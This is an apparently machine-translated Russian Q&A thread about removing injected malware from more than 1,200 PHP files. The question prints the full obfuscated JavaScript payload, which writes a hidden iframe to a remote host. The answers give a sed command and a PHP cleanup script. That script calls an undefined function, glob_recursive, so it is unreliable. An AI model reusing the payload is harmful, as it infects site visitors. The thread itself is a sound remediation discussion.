2015-10-10 6 views
0

У меня проблема с удалением кода вируса из моих php-файлов. На моем сервере более 1200 php-файлов, и каждый отдельный php-файл заражен вирусом. Вирус код, добавив следующую строку в HTML OUTPUTКак я могу удалить iframe-вирус из всех php-файлов на моем сайте

здесь код вируса:

<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352> 

Над кодом в каждом файле PHP. Как я могу удалить этот код вируса из каждого php-файла? Есть ли быстрый способ сделать это?

+0

Как это произошло? – frosty

+0

Я не знаю, наш сервер прямо вниз, потому что он обнаружен из троянского вируса в этом коде iframe, после чего мы удалили этот код, а затем автоматически снова показывали код. помогите мне пожалуйста –

+0

@frosty - Вероятно, он работает с небезопасным веб-сервером на базе PHP ... и его взломали. –

ответ

-2

Если строковый литерал «код вируса», который вы предоставили, встроен в каждый файл php, его можно удалить с помощью командной строки. Откройте приложение оболочки (Command Prompt для Windows или Terminal для операционных систем UNIX/UNIX, например OS X, Linux и т. Д.). Вам нужно будет избежать кода вируса, прежде чем передавать его в оболочку, однако идеальные методы могут зависеть от вашей системы. Выполните следующие команды:

cd /path/to/your/infected/php/files 

sed -i 's/insert_escaped_virus_code_here//g' * 

P.S. Если вид еще не установлен, то следуйте этим указаниям для OS X и Windows.

+0

Она просит способ удалить их одновременно, так как они противно открывают файлы один за другим и удаляют их вручную. – frosty

+0

Использовать регулярное выражение; есть [другая тема] (http://stackoverflow.com/questions/102083/whats-the-best-tool-to-find-and-replace-regular-expressions-over-multiple-files) на этом – Andrew

+0

oO isn ' t что в PERL? – frosty

1

Вы можете использовать:

removeVirus.php

<?php 

foreach(rglob("*.php") as $virusFile){ 

    $withVirus = file_get_contents($virusFile); 
    $withoutVirus = preg_replace('%<tag\d+>.*</tag\d+>%', '', $withVirus); 
    file_put_contents($virusFile, $withoutVirus); 
} 

function rglob($pattern, $flags = 0){ 
// forked from https://github.com/rodurma/PHP-Functions/ 
    // blob/master/glob_recursive.php 
    $files = glob($pattern, $flags); 

    foreach (glob(dirname($pattern).'/*', 
    GLOB_ONLYDIR|GLOB_NOSORT) as $dir){ 
    $files = array_merge($files, glob_recursive 
     ($dir.'/'.basename($pattern), $flags)); 
    } 
    return $files; 
} 

Использование:

поставил removeVirus.php на корень вашего сайта и выполнить из командной строки как корень (или как владелец файлов)

php removeVirus.php 

Примечания:

1 - Я проверил код на моем сервере с 10 php файлов, содержащих вирус, и он работал по назначению.

2 - Убедитесь, что вы нашли источник взлома и исправили вашу систему соответственно.